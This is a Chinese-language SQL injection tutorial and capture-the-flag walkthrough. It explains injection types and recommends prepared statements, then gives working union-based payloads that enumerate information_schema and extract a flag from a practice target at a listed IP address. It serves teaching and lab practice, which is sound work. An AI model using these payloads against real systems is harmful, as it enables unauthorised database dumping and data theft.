admin管理员组文章数量:1794759
SQL注入基础
参考
参考学习链接
- 学习笔记–基础篇–SQL注入(数字型)
SQL注入,就是利用现有Web应用程序,构建特殊的参数输入,将(恶意的)SQL语句注入到后台数据库引擎,最终达到欺骗服务器执行恶意SQL语句的目的。
SQL注入的本质是后台SQL语句使用了拼接查询,未对用户输入的数据作安全处理。
SQL注入分类根据注入形式的不同,可分为:
- 数字型注
- 字符型注
- 搜索型注入
根据请求方式的不同,可分为:
- GET型注
- POST型注
- HEADER型注入
根据注入点位置的不同,可分为:
- 列注入
- 表注入
- order注入
- limit注
- group by注入
- 等等
脱库,导致敏感数据泄漏; getshell,获取服务器权限。
SQL注入防御对用户输入的参数作好预编译处理,不能预编译的,可采取安全过滤,类型判断,映射等方式进行处理。
学习演练学习/演练地址(须扫码登陆):SQL注入基础
提示 注入猜解过程 猜解数据库库名select group_concat(schema_name) from information_schema.schemata;
猜解数据库表名select group_concat(table_name) from information_schema.tables where table_schema=“A”;//A为止步中得到的库名猜解数据库列名
猜解数据库列名select group_concat(column_name) from information_schema.columns where table_schema=“A” and table_name=‘B’;//B为上步中得到的表名猜解数据库数据信
猜解数据库数据select C from A.B;//其中C为上步中得到的列名
id=-1+union+select+group_concat(schema_name)+from+information_schema.schemata–+ id=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema=“lession1”–+ // 得到数据库表名 id=-1+union+select+group_concat(column_name)+from+information_schema.columns+where+table_schema="lession1"and+table_name=“flag”–+ // 得到数据库列名 id=-1+union+select+flag+from+lession1.flag–+
数字型注入 类型区别虽然我们已经提前知道了,本次注入的漏洞类型为数字型,但一般情况下仍是需要判断的 测试链接为: 113.108.70.111:59573/sqli1.php?id=1 很明显,id=1就是本次我们可以下手的点 把【1】修改为【1'】
在Mysql中,一般id是数值型,则以下错误日志应为:
SELECT * FROM db.user where id = 1' ;Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1 0.000 sec 若id是字符型,则以下错误日志应为:
SELECT * FROM db.user where id = '1'' ;Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1 0.016 sec 结合上文截图中的报错信,可以判断为数值型
判断表字段个数id=1修改为id=1+order+by+1 结果无报错,继续增加值 id=1+order+by+2 结果提示:Unknown column '2' in 'order clause' 因此该表的字段为1个
获取用户信一般注入常利用SQL语句中,union联合的特性来获取想要的数据 id=-1+union+select+database()
Hello test,Welcome to login in,having a good day!
可见当前用户表的DB为test
获取用户信 id=-1+union+select+user()
Hello ctf1@localhost,Welcome to login in,having a good day!
猜解数据库库名
由以下语句变形而来
select group_concat(schema_name) from information_schema.schemata;?id=-1+union+select+group_concat(schema_name)+from+information_schema.schemata--+ 由此可获得3个数据库information_schema,lession1,test 其中数据库lession1嫌疑最高
猜解数据库表名
由以下语句变形而来
select group_concat(table_name) from information_schema.tables where table_schema="A"; select group_concat(column_name) from information_schema.columns where table_schema="A" and table_name='B';A为上一步中得到的库名猜解数据库列名 B为上步中得到的表名猜解数据库数据信 ?id=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema="lession1"--+ 由此可获得数据库lession1只有1个表flag
获取表字段
由以下语句变形而来
select group_concat(column_name) from information_schema.columns where table_schema="A" and table_name='B';B为上步中得到的表名猜解数据库数据信 id=-1+union+select+group_concat(column_name)+from+information_schema.columns+where+table_schema="lession1"and+table_name="flag"--+ 由此可获得表flag只有1个falg字段
获取flag值
现在我们知道了:
- DB:lession1
- TABLE:flag
- COLUMN:flag
获取表数据,先看有几行 id=-1+union+select+count(flag)+from+lession1.flag--+
Hello 1,Welcome to login in,having a good day!
因为只有一行,我们直接获取即可
id=-1+union+select+flag+from+lession1.flag--+ 将得到的e3b1dca4c859a48280979e6cbe1faba5输入文本框,然后提交
得到页面
该页面为下一个练习的页面,说明我们已经成功通过了第一个SQL注入基础的测试!
版权声明:本文标题:SQL注入基础 内容由林淑君副主任自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.xiehuijuan.com/baike/1687063924a130901.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论